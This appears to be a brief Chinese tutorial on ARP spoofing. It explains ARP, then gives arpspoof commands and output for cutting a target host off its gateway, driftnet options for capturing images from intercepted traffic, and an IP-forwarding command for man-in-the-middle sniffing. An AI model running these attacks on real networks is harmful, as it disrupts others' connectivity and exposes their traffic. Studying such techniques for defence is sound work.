Javascript is required
arpspoof-arp攻击
安全&逆向

了解

ARP（Address Resolution Protocol）地址转换协议，工作在OSI模型的数据链路层，在以太网中，网络设备之间互相通信是用MAC地址而不是IP地址，ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反，它是反向地址转换协议，把MAC地址转换为IP地址。

实践

arpspoof命令进行断网攻击

  1. 目标主机缓存表
    IP：192.168.43.102
    网关：192.168.43.1
  2. 本机IP：192.168.43.133

arpspoof命令进行断网攻击

arpspoof -i eth0 -t 192.168.43.102 192.168.43.1

# 参数
-i
网卡 eth0
-t 
目标ip 192.168.43.102
目标主机网关 192.168.43.1

演示

root@linis:~# arpspoof -i eth0 -t 192.168.43.102 192.168.43.1
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94
8:0:27:22:49:94 2a:48:21:9:94:36 0806 42: arp reply 192.168.43.1 is-at 8:0:27:22:49:94

  1. driftnet 图片捕获工具

语法

driftnet [选项] [filter code]

-b 捕获到新的图片发出嘟嘟声
-i interface 选择监听接口
-f file 读取一个指定pcap数据包中的图片
-p 不让所监听的接口使用混杂模式
-a 后台模式 将捕获的图片保存在目录中
-m 指定保存图片的数目
-d 指定保存图片的路径
-x 指定保存图片的前缀名

例子

driftnet -i eth0

 # 开启转发
 echo 1 > /proc/sys/net/ipv4/ip_forward